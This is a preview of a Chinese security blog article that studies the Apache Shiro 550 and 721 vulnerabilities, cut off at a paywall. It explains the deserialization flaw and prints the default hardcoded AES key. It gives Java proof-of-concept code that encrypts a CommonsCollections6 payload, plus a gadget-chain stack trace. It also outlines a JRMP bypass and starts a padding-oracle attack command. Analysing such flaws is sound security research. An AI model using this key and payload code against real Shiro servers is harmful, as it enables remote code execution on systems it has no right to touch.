freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

对shiro 550和721的漏洞原理学习
superLeeH 2023-08-18 10:10:34 377312

Shiro 550

利用硬编码的密钥构造rememberMe参数,进行反序列化攻击

产生原因是因为shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

影响版本

1.x < 1.2.5

分析

关键代码处于AbstractRememberMeManager#getRememberedPrincipals方法中,参数是用户的身份Context信息

其中CookieRememberMeManagergetRememberedSerializedIdentity的实现是获取CookieBase64解码

将解码后的byte数组传入convertBytesToPrincipals中进行:decryptdeserializedecrypt是使用AesCipherService进行解密。

deserialize调用deserialize()方法反序列化解密后的数据。

反序列化得到的PrincipalCollection会被setSubjectContext

如果我们有了加密密钥,使用密钥加密一个恶意序列化的payload,将rememberMe的值替换成base64后的payload传入服务器,那这样就可以触发漏洞了。

我们如何获取加密密钥

这就要提到AbstractRememberMeManager类,它是RememberMeManager接口的实现。类中有几个关键变量:

  • DEFAULT_CIPHER_KEY_BYTES:对称密钥,使用Base64加密之后直接存在代码中

  • serializerShiro提供的序列化器

  • cipherService:用来对数据加解密的类

POC

shiro中自带的是cc3.2.1版本的组件,但是无法利用

shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStreamresolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法,采用的是ClassUtils.forName

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组

package com.alter.Shiro;

import com.alter.Deserialize.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class test {
    public static void main(String[] args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }

所以普通的CC链没法打,需要

  • shiro_POC1.java
    使用TemplatesImpl#newTransformer绕过
    只需要使用一个InvokerTransformer方法

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:76, shiro_cc (pers.shiro)
  • shiro_POC2.java
    TrAXFilter.class+Templates.class组合进行漏洞触发

  • shiro_POC_withoutCC
    在没有CC组件的情况下通过shiro的依赖CB打,如果有CC依赖,也可以使用CB链的另一个打

绕过数组

  • JRMP
    首先在vps上搭建一个JRMP服务端
    image-20220416162858794-16501090111011.png
    之后在本地搭建一个JRMP客户端,接受返回的数据
    image-20220416163510189-16501090374432.png
    嫖个脚本exp.py进行数据的shiro加密处理
    image-20220416162933410-16501090467353.png
    image-20220416162917513-16501090572494.png
    将返回的exp传入,成功弹出了计算器
    image-20220416162741924-16501090728445.png

修复

Shiro1.2.5Commit中对此漏洞进行了修复。系统在·启动的时候会生成一个新key,用户也可以手动配置一个cipherKey

如果用户设置的密钥泄漏或者太简单的话,还是会被攻击成功。

Shiro-721

RememberMe默认通过AES-128-CBC模式加密,易受Padding Oracle Attack攻击

影响版本

< 1.4.2

POC

直接使用 longofo 师傅的项目
首先获取一个有效的rememberMe值,其次生成一个反序列化利用的payload,然后使用如下参数执行攻击。

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://localh
可试读前40%内容
¥ 9.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
superLeeH LV.5
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 29 关注者
hutool组件下dynamic proxy和JDBC的部分可用链
2025-03-18
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13
文章目录